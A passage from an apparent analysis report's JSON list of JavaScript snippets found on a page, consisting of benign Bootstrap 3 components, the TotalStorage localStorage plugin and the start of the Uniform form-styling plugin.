d=\".dropdown-backdrop\",e=\"[data-toggle=dropdown]\",f=function(b){a(b).on(\"click.bs.dropdown\",this.toggle)};f.prototype.toggle=function(d){var e=a(this);if(!e.is(\".disabled, :disabled\")){var f=c(e),g=f.hasClass(\"open\");if(b(),!g){if(\"ontouchstart\"in document.documentElement&&a('<div class=\"dropdown-backdrop\"/>').insertAfter(a(this)).on(\"click\",b),f.trigger(d=a.Event(\"show.bs.dropdown\")),d.isDefaultPrevented())return;f.toggleClass(\"open\").trigger(\"shown.bs.dropdown\")}return e.focus(),!1}},f.prototype.keydown=function(b){if(/(38|40|27)/.test(b.keyCode)){var d=a(this);if(b.preventDefault(),b.stopPropagation(),!d.is(\".disabled, :disabled\")){var f=c(d),g=f.hasClass(\"open\");if(!g||g&&27==b.keyCode)return 27==b.which&&f.find(e).focus(),d.click();var h=a(\"[role=menu] li:not(.divider):visible a\",f);if(h.length){var i=h.index(h.filter(\":focus\"));38==b.keyCode&&i>0&&i--,40==b.keyCode&&i<h.length-1&&i++,~i||(i=0),h.eq(i).focus()}}}};var g=a.fn.dropdown;a.fn.dropdown=function(b){return this.each(function(){var c=a(this),d=c.data(\"dropdown\");d||c.data(\"dropdown\",d=new f(this)),\"string\"==typeof b&&d[b].call(c)})},a.fn.dropdown.Constructor=f,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=g,this},a(document).on(\"click.bs.dropdown.data-api\",b).on(\"click.bs.dropdown.data-api\",\".dropdown form\",function(a){a.stopPropagation()}).on(\"click.bs.dropdown.data-api\",e,f.prototype.toggle).on(\"keydown.bs.dropdown.data-api\",e+\", [role=menu]\",f.prototype.keydown)}(window.jQuery),+function(a){\"use strict\";var b=function(b,c){this.options=c,this.$element=a(b).on(\"click.dismiss.modal\",'[data-dismiss=\"modal\"]',a.proxy(this.hide,this)),this.$backdrop=this.isShown=null,this.options.remote&&this.$element.load(this.options.remote)};b.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},b.prototype.toggle=function(a){return this[this.isShown?\"hide\":\"show\"](a)},b.prototype.show=function(b){var c=this,d=a.Event(\"show.bs.modal\",{relatedTarget:b});this.$element.trigger(d),this.isShown||d.isDefaultPrevented()||(this.isShown=!0,this.escape(),this.backdrop(function(){var d=a.support.transition&&c.$element.hasClass(\"fade\");c.$element.parent().length||c.$element.appendTo(document.body),c.$element.show(),d&&c.$element[0].offsetWidth,c.$element.addClass(\"in\").attr(\"aria-hidden\",!1),c.enforceFocus();var e=a.Event(\"shown.bs.modal\",{relatedTarget:b});d?c.$element.one(a.support.transition.end,function(){c.$element.focus().trigger(e)}).emulateTransitionEnd(300):c.$element.focus().trigger(e)}))},b.prototype.hide=function(b){b&&b.preventDefault(),b=a.Event(\"hide.bs.modal\"),this.$element.trigger(b),this.isShown&&!b.isDefaultPrevented()&&(this.isShown=!1,this.escape(),a(document).off(\"focusin.bs.modal\"),this.$element.removeClass(\"in\").attr(\"aria-hidden\",!0).off(\"click.dismiss.modal\"),a.support.transition&&this.$element.hasClass(\"fade\")?this.$element.one(a.support.transition.end,a.proxy(this.hideModal,this)).emulateTransitionEnd(300):this.hideModal())},b.prototype.enforceFocus=function(){a(document).off(\"focusin.bs.modal\").on(\"focusin.bs.modal\",a.proxy(function(a){this.$element[0]===a.target||this.$element.has(a.target).length||this.$element.focus()},this))},b.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on(\"keyup.dismiss.bs.modal\",a.proxy(function(a){27==a.which&&this.hide()},this)):this.isShown||this.$element.off(\"keyup.dismiss.bs.modal\")},b.prototype.hideModal=function(){var a=this;this.$element.hide(),this.backdrop(function(){a.removeBackdrop(),a.$element.trigger(\"hidden.bs.modal\")})},b.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},b.prototype.backdrop=function(b){var c=this.$element.hasClass(\"fade\")?\"fade\":\"\";if(this.isShown&&this.options.backdrop){var d=a.support.transition&&c;if(this.$backdrop=a('<div class=\"modal-backdrop '+c+'\" />').appendTo(document.body),this.$element.on(\"click.dismiss.modal\",a.proxy(function(a){a.target===a.currentTarget&&(\"static\"==this.options.backdrop?this.$element[0].focus.call(this.$element[0]):this.hide.call(this))},this)),d&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass(\"in\"),!b)return;d?this.$backdrop.one(a.support.transition.end,b).emulateTransitionEnd(150):b()}else!this.isShown&&this.$backdrop?(this.$backdrop.removeClass(\"in\"),a.support.transition&&this.$element.hasClass(\"fade\")?this.$backdrop.one(a.support.transition.end,b).emulateTransitionEnd(150):b()):b&&b()};var c=a.fn.modal;a.fn.modal=function(c,d){return this.each(function(){var e=a(this),f=e.data(\"bs.modal\"),g=a.extend({},b.DEFAULTS,e.data(),\"object\"==typeof c&&c);f||e.data(\"bs.modal\",f=new b(this,g)),\"string\"==typeof c?f[c](d):g.show&&f.show(d)})},a.fn.modal.Constructor=b,a.fn.modal.noConflict=function(){return a.fn.modal=c,this},a(document).on(\"click.bs.modal.data-api\",'[data-toggle=\"modal\"]',function(b){var c=a(this),d=c.attr(\"href\"),e=a(c.attr(\"data-target\")||d&&d.replace(/.*(?=#[^\\s]+$)/,\"\")),f=e.data(\"modal\")?\"toggle\":a.extend({remote:!/#/.test(d)&&d},e.data(),c.data());b.preventDefault(),e.modal(f,this).one(\"hide\",function(){c.is(\":visible\")&&c.focus()})}),a(document).on(\"shown.bs.modal\",\".modal\",function(){a(document.body).addClass(\"modal-open\")}).on(\"hidden.bs.modal\",\".modal\",function(){a(document.body).removeClass(\"modal-open\")})}(window.jQuery),+function(a){\"use strict\";var b=function(a,b){this.type=this.options=this.enabled=this.timeout=this.hoverState=this.$element=null,this.init(\"tooltip\",a,b)};b.DEFAULTS={animation:!0,placement:\"top\",selector:!1,template:'<div class=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>',trigger:\"hover focus\",title:\"\",delay:0,html:!1,container:!1},b.prototype.init=function(b,c,d){this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d);for(var e=this.options.trigger.split(\" \"),f=e.length;f--;){var g=e[f];if(\"click\"==g)this.$element.on(\"click.\"+this.type,this.options.selector,a.proxy(this.toggle,this));else if(\"manual\"!=g){var h=\"hover\"==g?\"mouseenter\":\"focus\",i=\"hover\"==g?\"mouseleave\":\"blur\";this.$element.on(h+\".\"+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+\".\"+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:\"manual\",selector:\"\"}):this.fixTitle()},b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&\"number\"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},b.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},b.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget)[this.type](this.getDelegateOptions()).data(\"bs.\"+this.type);return clearTimeout(c.timeout),c.options.delay&&c.options.delay.show?(c.hoverState=\"in\",c.timeout=setTimeout(function(){\"in\"==c.hoverState&&c.show()},c.options.delay.show),void 0):c.show()},b.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget)[this.type](this.getDelegateOptions()).data(\"bs.\"+this.type);return clearTimeout(c.timeout),c.options.delay&&c.options.delay.hide?(c.hoverState=\"out\",c.timeout=setTimeout(function(){\"out\"==c.hoverState&&c.hide()},c.options.delay.hide),void 0):c.hide()},b.prototype.show=function(){var b=a.Event(\"show.bs.\"+this.type);if(this.hasContent()&&this.enabled){if(this.$element.trigger(b),b.isDefaultPrevented())return;var c=this.tip();this.setContent(),this.options.animation&&c.addClass(\"fade\");var d=\"function\"==typeof this.options.placement?this.options.placement.call(this,c[0],this.$element[0]):this.options.placement,e=/\\s?auto?\\s?/i,f=e.test(d);f&&(d=d.replace(e,\"\")||\"top\"),c.detach().css({top:0,left:0,display:\"block\"}).addClass(d),this.options.container?c.appendTo(this.options.container):c.insertAfter(this.$element);var g=this.getPosition(),h=c[0].offsetWidth,i=c[0].offsetHeight;if(f){var j=this.$element.parent(),k=d,l=document.documentElement.scrollTop||document.body.scrollTop,m=\"body\"==this.options.container?window.innerWidth:j.outerWidth(),n=\"body\"==this.options.container?window.innerHeight:j.outerHeight(),o=\"body\"==this.options.container?0:j.offset().left;d=\"bottom\"==d&&g.top+g.height+i-l>n?\"top\":\"top\"==d&&g.top-l-i<0?\"bottom\":\"right\"==d&&g.right+h>m?\"left\":\"left\"==d&&g.left-h<o?\"right\":d,c.removeClass(k).addClass(d)}var p=this.getCalculatedOffset(d,g,h,i);this.applyPlacement(p,d),this.$element.trigger(\"shown.bs.\"+this.type)}},b.prototype.applyPlacement=function(a,b){var c,d=this.tip(),e=d[0].offsetWidth,f=d[0].offsetHeight,g=parseInt(d.css(\"margin-top\"),10),h=parseInt(d.css(\"margin-left\"),10);isNaN(g)&&(g=0),isNaN(h)&&(h=0),a.top=a.top+g,a.left=a.left+h,d.offset(a).addClass(\"in\");var i=d[0].offsetWidth,j=d[0].offsetHeight;if(\"top\"==b&&j!=f&&(c=!0,a.top=a.top+f-j),/bottom|top/.test(b)){var k=0;a.left<0&&(k=-2*a.left,a.left=0,d.offset(a),i=d[0].offsetWidth,j=d[0].offsetHeight),this.replaceArrow(k-e+i,i,\"left\")}else this.replaceArrow(j-f,j,\"top\");c&&d.offset(a)},b.prototype.replaceArrow=function(a,b,c){this.arrow().css(c,a?50*(1-a/b)+\"%\":\"\")},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle();a.find(\".tooltip-inner\")[this.options.html?\"html\":\"text\"](b),a.removeClass(\"fade in top bottom left right\")},b.prototype.hide=function(){function b(){c.detach()}var c=this.tip(),d=a.Event(\"hide.bs.\"+this.type);return this.$element.trigger(d),d.isDefaultPrevented()?void 0:(c.removeClass(\"in\"),a.support.transition&&this.$tip.hasClass(\"fade\")?c.one(a.support.transition.end,b).emulateTransitionEnd(150):b(),this.$element.trigger(\"hidden.bs.\"+this.type),this)},b.prototype.fixTitle=function(){var a=this.$element;(a.attr(\"title\")||\"string\"!=typeof a.attr(\"data-original-title\"))&&a.attr(\"data-original-title\",a.attr(\"title\")||\"\").attr(\"title\",\"\")},b.prototype.hasContent=function(){return this.getTitle()},b.prototype.getPosition=function(){var b=this.$element[0];return a.extend({},\"function\"==typeof b.getBoundingClientRect?b.getBoundingClientRect():{width:b.offsetWidth,height:b.offsetHeight},this.$element.offset())},b.prototype.getCalculatedOffset=function(a,b,c,d){return\"bottom\"==a?{top:b.top+b.height,left:b.left+b.width/2-c/2}:\"top\"==a?{top:b.top-d,left:b.left+b.width/2-c/2}:\"left\"==a?{top:b.top+b.height/2-d/2,left:b.left-c}:{top:b.top+b.height/2-d/2,left:b.left+b.width}},b.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr(\"data-original-title\")||(\"function\"==typeof c.title?c.title.call(b[0]):c.title)},b.prototype.tip=function(){return this.$tip=this.$tip||a(this.options.template)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(\".tooltip-arrow\")},b.prototype.validate=function(){this.$element[0].parentNode||(this.hide(),this.$element=null,this.options=null)},b.prototype.enable=function(){this.enabled=!0},b.prototype.disable=function(){this.enabled=!1},b.prototype.toggleEnabled=function(){this.enabled=!this.enabled},b.prototype.toggle=function(b){var c=b?a(b.currentTarget)[this.type](this.getDelegateOptions()).data(\"bs.\"+this.type):this;c.tip().hasClass(\"in\")?c.leave(c):c.enter(c)},b.prototype.destroy=function(){this.hide().$element.off(\".\"+this.type).removeData(\"bs.\"+this.type)};var c=a.fn.tooltip;a.fn.tooltip=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.tooltip\"),f=\"object\"==typeof c&&c;e||d.data(\"bs.tooltip\",e=new b(this,f)),\"string\"==typeof c&&e[c]()})},a.fn.tooltip.Constructor=b,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=c,this}}(window.jQuery),+function(a){\"use strict\";var b=function(a,b){this.init(\"popover\",a,b)};if(!a.fn.tooltip)throw new Error(\"Popover requires tooltip.js\");b.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:\"right\",trigger:\"click\",content:\"\",template:'<div class=\"popover\"><div class=\"arrow\"></div><h3 class=\"popover-title\"></h3><div class=\"popover-content\"></div></div>'}),b.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),b.prototype.constructor=b,b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(\".popover-title\")[this.options.html?\"html\":\"text\"](b),a.find(\".popover-content\")[this.options.html?\"html\":\"text\"](c),a.removeClass(\"fade top bottom left right in\"),a.find(\".popover-title\").html()||a.find(\".popover-title\").hide()},b.prototype.hasContent=function(){return this.getTitle()||this.getContent()},b.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr(\"data-content\")||(\"function\"==typeof b.content?b.content.call(a[0]):b.content)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(\".arrow\")},b.prototype.tip=function(){return this.$tip||(this.$tip=a(this.options.template)),this.$tip};var c=a.fn.popover;a.fn.popover=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.popover\"),f=\"object\"==typeof c&&c;e||d.data(\"bs.popover\",e=new b(this,f)),\"string\"==typeof c&&e[c]()})},a.fn.popover.Constructor=b,a.fn.popover.noConflict=function(){return a.fn.popover=c,this}}(window.jQuery),+function(a){\"use strict\";function b(c,d){var e,f=a.proxy(this.process,this);this.$element=a(c).is(\"body\")?a(window):a(c),this.$body=a(\"body\"),this.$scrollElement=this.$element.on(\"scroll.bs.scroll-spy.data-api\",f),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||(e=a(c).attr(\"href\"))&&e.replace(/.*(?=#[^\\s]+$)/,\"\")||\"\")+\" .nav li > a\",this.offsets=a([]),this.targets=a([]),this.activeTarget=null,this.refresh(),this.process()}b.DEFAULTS={offset:10},b.prototype.refresh=function(){var b=this.$element[0]==window?\"offset\":\"position\";this.offsets=a([]),this.targets=a([]);var c=this;this.$body.find(this.selector).map(function(){var d=a(this),e=d.data(\"target\")||d.attr(\"href\"),f=/^#\\w/.test(e)&&a(e);return f&&f.length&&[[f[b]().top+(!a.isWindow(c.$scrollElement.get(0))&&c.$scrollElement.scrollTop()),e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){c.offsets.push(this[0]),c.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,d=c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(b>=d)return g!=(a=f.last()[0])&&this.activate(a);for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(!e[a+1]||b<=e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,a(this.selector).parents(\".active\").removeClass(\"active\");var c=this.selector+'[data-target=\"'+b+'\"],'+this.selector+'[href=\"'+b+'\"]',d=a(c).parents(\"li\").addClass(\"active\");d.parent(\".dropdown-menu\").length&&(d=d.closest(\"li.dropdown\").addClass(\"active\")),d.trigger(\"activate\")};var c=a.fn.scrollspy;a.fn.scrollspy=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.scrollspy\"),f=\"object\"==typeof c&&c;e||d.data(\"bs.scrollspy\",e=new b(this,f)),\"string\"==typeof c&&e[c]()})},a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=c,this},a(window).on(\"load\",function(){a('[data-spy=\"scroll\"]').each(function(){var b=a(this);b.scrollspy(b.data())})})}(window.jQuery),+function(a){\"use strict\";var b=function(b){this.element=a(b)};b.prototype.show=function(){var b=this.element,c=b.closest(\"ul:not(.dropdown-menu)\"),d=b.attr(\"data-target\");if(d||(d=b.attr(\"href\"),d=d&&d.replace(/.*(?=#[^\\s]*$)/,\"\")),!b.parent(\"li\").hasClass(\"active\")){var e=c.find(\".active:last a\")[0],f=a.Event(\"show.bs.tab\",{relatedTarget:e});if(b.trigger(f),!f.isDefaultPrevented()){var g=a(d);this.activate(b.parent(\"li\"),c),this.activate(g,g.parent(),function(){b.trigger({type:\"shown.bs.tab\",relatedTarget:e})})}}},b.prototype.activate=function(b,c,d){function e(){f.removeClass(\"active\").find(\"> .dropdown-menu > .active\").removeClass(\"active\"),b.addClass(\"active\"),g?(b[0].offsetWidth,b.addClass(\"in\")):b.removeClass(\"fade\"),b.parent(\".dropdown-menu\")&&b.closest(\"li.dropdown\").addClass(\"active\"),d&&d()}var f=c.find(\"> .active\"),g=d&&a.support.transition&&f.hasClass(\"fade\");g?f.one(a.support.transition.end,e).emulateTransitionEnd(150):e(),f.removeClass(\"in\")};var c=a.fn.tab;a.fn.tab=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.tab\");e||d.data(\"bs.tab\",e=new b(this)),\"string\"==typeof c&&e[c]()})},a.fn.tab.Constructor=b,a.fn.tab.noConflict=function(){return a.fn.tab=c,this},a(document).on(\"click.bs.tab.data-api\",'[data-toggle=\"tab\"], [data-toggle=\"pill\"]',function(b){b.preventDefault(),a(this).tab(\"show\")})}(window.jQuery),+function(a){\"use strict\";var b=function(c,d){this.options=a.extend({},b.DEFAULTS,d),this.$window=a(window).on(\"scroll.bs.affix.data-api\",a.proxy(this.checkPosition,this)).on(\"click.bs.affix.data-api\",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(c),this.affixed=this.unpin=null,this.checkPosition()};b.RESET=\"affix affix-top affix-bottom\",b.DEFAULTS={offset:0},b.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},b.prototype.checkPosition=function(){if(this.$element.is(\":visible\")){var c=a(document).height(),d=this.$window.scrollTop(),e=this.$element.offset(),f=this.options.offset,g=f.top,h=f.bottom;\"object\"!=typeof f&&(h=g=f),\"function\"==typeof g&&(g=f.top()),\"function\"==typeof h&&(h=f.bottom());var i=null!=this.unpin&&d+this.unpin<=e.top?!1:null!=h&&e.top+this.$element.height()>=c-h?\"bottom\":null!=g&&g>=d?\"top\":!1;this.affixed!==i&&(this.unpin&&this.$element.css(\"top\",\"\"),this.affixed=i,this.unpin=\"bottom\"==i?e.top-d:null,this.$element.removeClass(b.RESET).addClass(\"affix\"+(i?\"-\"+i:\"\")),\"bottom\"==i&&this.$element.offset({top:document.body.offsetHeight-h-this.$element.height()}))}};var c=a.fn.affix;a.fn.affix=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.affix\"),f=\"object\"==typeof c&&c;e||d.data(\"bs.affix\",e=new b(this,f)),\"string\"==typeof c&&e[c]()})},a.fn.affix.Constructor=b,a.fn.affix.noConflict=function(){return a.fn.affix=c,this},a(window).on(\"load\",function(){a('[data-spy=\"affix\"]').each(function(){var b=a(this),c=b.data();c.offset=c.offset||{},c.offsetBottom&&(c.offset.bottom=c.offsetBottom),c.offsetTop&&(c.offset.top=c.offsetTop),b.affix(c)})})}(window.jQuery);",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* * TotalStorage * * Copyright (c) 2012 Jared Novack & Upstatement (upstatement.com) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * * Total Storage is the conceptual the love child of jStorage by Andris Reinman, * and Cookie by Klaus Hartl -- though this is not connected to either project. * * @name $.totalStorage * @cat Plugins/Cookie * @author Jared Novack/jared@upstatement.com * @version 1.1.2 * @url http://upstatement.com/blog/2012/01/jquery-local-storage-done-right-and-easy/ */(function($){var ls=window.localStorage;var supported;if(typeof ls=='undefined'||typeof window.JSON=='undefined'){supported=false;}else{supported=true;}$.totalStorage=function(key,value,options){return $.totalStorage.impl.init(key,value);}$.totalStorage.setItem=function(key,value){return $.totalStorage.impl.setItem(key,value);}$.totalStorage.getItem=function(key){return $.totalStorage.impl.getItem(key);}$.totalStorage.getAll=function(){return $.totalStorage.impl.getAll();}$.totalStorage.deleteItem=function(key){return $.totalStorage.impl.deleteItem(key);}$.totalStorage.impl={init:function(key,value){if(typeof value!='undefined'){return this.setItem(key,value);}else{return this.getItem(key);}},setItem:function(key,value){if(!supported){try{$.cookie(key,value);return value;}catch(e){console.log('Local Storage not supported by this browser. Install the cookie plugin on your site to take advantage of the same functionality. You can get it at https://github.com/carhartl/jquery-cookie');}}var saver=JSON.stringify(value);ls.setItem(key,saver);return this.parseResult(saver);},getItem:function(key){if(!supported){try{return this.parseResult($.cookie(key));}catch(e){return null;}}return this.parseResult(ls.getItem(key));},deleteItem:function(key){if(!supported){try{$.cookie(key,null);return true;}catch(e){return false;}}ls.removeItem(key);return true;},getAll:function(){var items=new Array();if(!supported){try{var pairs=document.cookie.split(\";\");for(var i=0;i<pairs.length;i++){var pair=pairs[i].split('=');var key=pair[0];items.push({key:key,value:this.parseResult($.cookie(key))});}}catch(e){return null;}}else{for(var i in ls){if(i.length){items.push({key:i,value:this.parseResult(ls.getItem(i))});}}}return items;},parseResult:function(res){var ret;try{ret=JSON.parse(res);if(ret=='true'){ret=true;}if(ret=='false'){ret=false;}if(parseFloat(ret)==ret&&typeof ret!=\"object\"){ret=parseFloat(ret);}}catch(e){}return ret;}}})(jQuery);",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*Uniform v2.1.2Copyright © 2009 Josh Pyles / Pixelmatrix Design LLChttp://pixelmatrixdesign.comRequires jQuery 1.3 or newerMuch thanks to Thomas Reynolds and Buck Wilson for their help and advice onthis.Disabling text selection is made possible by Mathias Bynens<http://mathiasbynens.be/> and his noSelect plugin.<https://github.com/mathiasbynens/jquery-noselect>, which is embedded.Also, thanks to David Kaneda and Eugene Bond for their contributions to theplugin.Tyler Akins has also rewritten chunks of the plugin, helped close many issues,and ensured version 2 got out the door.License:MIT License - http://www.opensource.org/licenses/mit-license.phpEnjoy!*//*global jQuery, document, navigator*/(function (wind, $, undef) { \"use strict\"; /** * Use .prop() if jQuery supports it, otherwise fall back to .attr() * * @param jQuery $el jQuery'd element on which we're calling attr/prop * @param ... All other parameters are passed to jQuery's function * @return The result from jQuery */ function attrOrProp($el) { var args = Array.prototype.slice.call(arguments, 1); if ($el.prop) { // jQuery 1.6+ return $el.prop.apply($el, args); } // jQuery 1.5 and below return $el.attr.apply($el, args); } /** * For backwards compatibility with older jQuery libraries, only bind * one thing at a time. Also, this function adds our namespace to * events in one consistent location, shrinking the minified code. * * The properties on the events object are the names of the events * that we are supposed to add to. It can be a space separated list. * The namespace will be added automatically. * * @param jQuery $el * @param Object options Uniform options for this element * @param Object events Events to bind, properties are event names */ function bindMany($el, options, events) { var name, namespaced; for (name in events) { if (events.hasOwnProperty(name)) { namespaced = name.replace(/ |$/g, options.eventNamespace); $el.bind(namespaced, events[name]); } } } /** * Bind the hover, active, focus, and blur UI updates * * @param jQuery $el Original element * @param jQuery $target Target for the events (our div/span) * @param Object options Uniform options for the element $target */ function bindUi($el, $target, options) { bindMany($el, options, { focus: function () { $target.addClass(options.focusClass); }, blur: function () { $target.removeClass(options.focusClass); $target.removeClass(options.activeClass); }, mouseenter: function () { $target.addClass(options.hoverClass); }, mouseleave: function () { $target.removeClass(options.hoverClass); $target.removeClass(options.activeClass); }, \"mousedown touchbegin\": function () { if (!$el.is(\":disabled\")) { $target.addClass(options.activeClass); } }, \"mouseup touchend\": function () { $target.removeClass(options.activeClass); } }); } /** * Remove the hover, focus, active classes. * * @param jQuery $el Element with classes * @param Object options Uniform options for the element */ function classClearStandard($el, options) { $el.removeClass(options.hoverClass + \" \" + options.focusClass + \" \" + options.activeClass); } /** * Add or remove a class, depending on if it's \"enabled\" * * @param jQuery $el Element that has the class added/removed * @param String className Class or classes to add/remove * @param Boolean enabled True to add the class, false to remove */ function classUpdate($el, className, enabled) { if (enabled) { $el.addClass(className); } else { $el.removeClass(className); } } /** * Updating the \"checked\" property can be a little tricky. This * changed in jQuery 1.6 and now we can pass booleans to .prop(). * Prior to that, one either adds an attribute (\"checked=checked\") or * removes the attribute. * * @param jQuery $tag Our Uniform span/div * @param jQuery $el Original form element * @param Object options Uniform options for this element */ function classUpdateChecked($tag, $el, options) { var c = \"checked\", isChecked = $el.is(\":\" + c); if ($el.prop) { // jQuery 1.6+ $el.prop(c, isChecked); } else { // jQuery 1.5 and below if (isChecked) { $el.attr(c, c); } else { $el.removeAttr(c); } } classUpdate($tag, options.checkedClass, isChecked); } /** * Set or remove the \"disabled\" class for disabled elements, based on * if the element is detected to be disabled. * * @param jQuery $tag Our Uniform span/div * @param jQuery $el Original form element * @param Object options Uniform options for this element */ function classUpdateDisabled($tag, $el, options) { classUpdate($tag, options.disabledClass, $el.is(\":disabled\")); } /** * Wrap an element inside of a container or put the container next * to the element. See the code for examples of the different methods. * * Returns the container that was added to the HTML. * * @param jQuery $el Element to wrap * @param jQuery $container Add this new container around/near $el * @param String method One of \"after\", \"before\" or \"wrap\" * @return $container after it has been cloned for adding to $el */ function divSpanWrap($el, $container, method) { switch (method) { case \"after\": // Result: <element /> <container /> $el.after($container); return $el.next(); case \"before\": // Result: <container /> <element /> $el.before($container); return $el.prev(); case \"wrap\": // Result: <container> <element /> </container> $el.wrap($container); return $el.parent(); } return null; } /** * Create a div/span combo for uniforming an element * * @param jQuery $el Element to wrap * @param Object options Options for the element, set by the user * @param Object divSpanConfig Options for how we wrap the div/span * @return Object Contains the div and span as properties */ function divSpan($el, options, divSpanConfig) { var $div, $span, id; if (!divSpanConfig) { divSpanConfig = {}; } divSpanConfig = $.extend({ bind: {}, divClass: null, divWrap: \"wrap\", spanClass: null, spanHtml: null, spanWrap: \"wrap\" }, divSpanConfig); $div = $('<div />'); $span = $('<span />'); // Automatically hide this div/span if the element is hidden. // Do not hide if the element is hidden because a parent is hidden. if (options.autoHide && $el.is(':hidden') && $el.css('display') === 'none') { $div.hide(); } if (divSpanConfig.divClass) { $div.addClass(divSpanConfig.divClass); } if (options.wrapperClass) { $div.addClass(options.wrapperClass); } if (divSpanConfig.spanClass) { $span.addClass(divSpanConfig.spanClass); } id = attrOrProp($el, 'id'); if (options.useID && id) { attrOrProp($div, 'id', options.idPrefix + '-' + id); } if (divSpanConfig.spanHtml) { $span.html(divSpanConfig.spanHtml); } $div = divSpanWrap($el, $div, divSpanConfig.divWrap); $span = divSpanWrap($el, $span, divSpanConfig.spanWrap); classUpdateDisabled($div, $el, options); return { div: $div, span: $span }; } /** * Wrap an element with a span to apply a global wrapper class * * @param jQuery $el Element to wrap * @param object options * @return jQuery Wrapper element */ function wrapWithWrapperClass($el, options) { var $span; if (!options.wrapperClass) { return null; } $span = $('<span />').addClass(options.wrapperClass); $span = divSpanWrap($el, $span, \"wrap\"); return $span; } /** * Test if high contrast mode is enabled. * * In high contrast mode, background images can not be set and * they are always returned as 'none'. * * @return boolean True if in high contrast mode */ function highContrast() { var c, $div, el, rgb; // High contrast mode deals with white and black rgb = 'rgb(120,2,153)'; $div = $('<div style=\"width:0;height:0;color:' + rgb + '\">'); $('body').append($div); el = $div.get(0); // $div.css() will get the style definition, not // the actually displaying style if (wind.getComputedStyle) { c = wind.getComputedStyle(el, '').color; } else { c = (el.currentStyle || el.style || {}).color; } $div.remove(); return c.replace(/ /g, '') !== rgb; } /** * Change text into safe HTML * * @param String text * @return String HTML version */ function htmlify(text) { if (!text) { return \"\"; } return $('<span />').text(text).html(); } /** * If not MSIE, return false. * If it is, return the version number. * * @return false|number */ function isMsie() { return navigator.cpuClass && !navigator.product; } /** * Return true if this version of IE allows styling * * @return boolean */ function isMsieSevenOrNewer() { if (wind.XMLHttpRequest !== undefined) { return true; } return false; } /** * Test if the element is a multiselect * * @param jQuery $el Element * @return boolean true/false */ function isMultiselect($el) { var elSize; if ($el[0].multiple) { return true; } elSize = attrOrProp($el, \"size\"); if (!elSize || elSize <= 1) { return false; } return true; } /** * Meaningless utility function. Used mostly for improving minification. * * @return false */ function returnFalse() { return false; } /** * noSelect plugin, very slightly modified * http://mths.be/noselect v1.0.3 * * @param jQuery $elem Element that we don't want to select * @param Object options Uniform options for the element */ function noSelect($elem, options) { var none = 'none'; bindMany($elem, options, { 'selectstart dragstart mousedown': returnFalse }); $elem.css({ MozUserSelect: none, msUserSelect: none, webkitUserSelect: none, userSelect: none }); } /** * Updates the filename tag based on the value of the real input * element. * * @param jQuery $el Actual form element * @param jQuery $filenameTag Span/div to update * @param Object options Uniform options for this element */ function setFilename($el, $filenameTag, options) { var filename = $el.val(); if (filename === \"\") { filename = options.fileDefaultHtml; } else { filename = filename.split(/[\\/\\\\]+/); filename = filename[(filename.length - 1)]; } $filenameTag.text(filename); } /** * Function from jQuery to swap some CSS values, run a callback, * then restore the CSS. Modified to pass JSLint and handle undefined * values with 'use strict'. * * @param jQuery $el Element * @param object newCss CSS values to swap out * @param Function callback Function to run */ function swap($elements, newCss, callback) { var restore, item; restore = []; $elements.each(function () { var name; for (name in newCss) { if (Object.prototype.hasOwnProperty.call(newCss, name)) { restore.push({ el: this, name: name, old: this.style[name] }); this.style[name] = newCss[name]; } } }); callback(); while (restore.length) { item = restore.pop(); item.el.style[item.name] = item.old; } } /** * The browser doesn't provide sizes of elements that are not visible. * This will clone an element and add it to the DOM for calculations. * * @param jQuery $el * @param String method */ function sizingInvisible($el, callback) { var targets; // We wish to target ourselves and any parents as long as // they are not visible targets = $el.parents(); 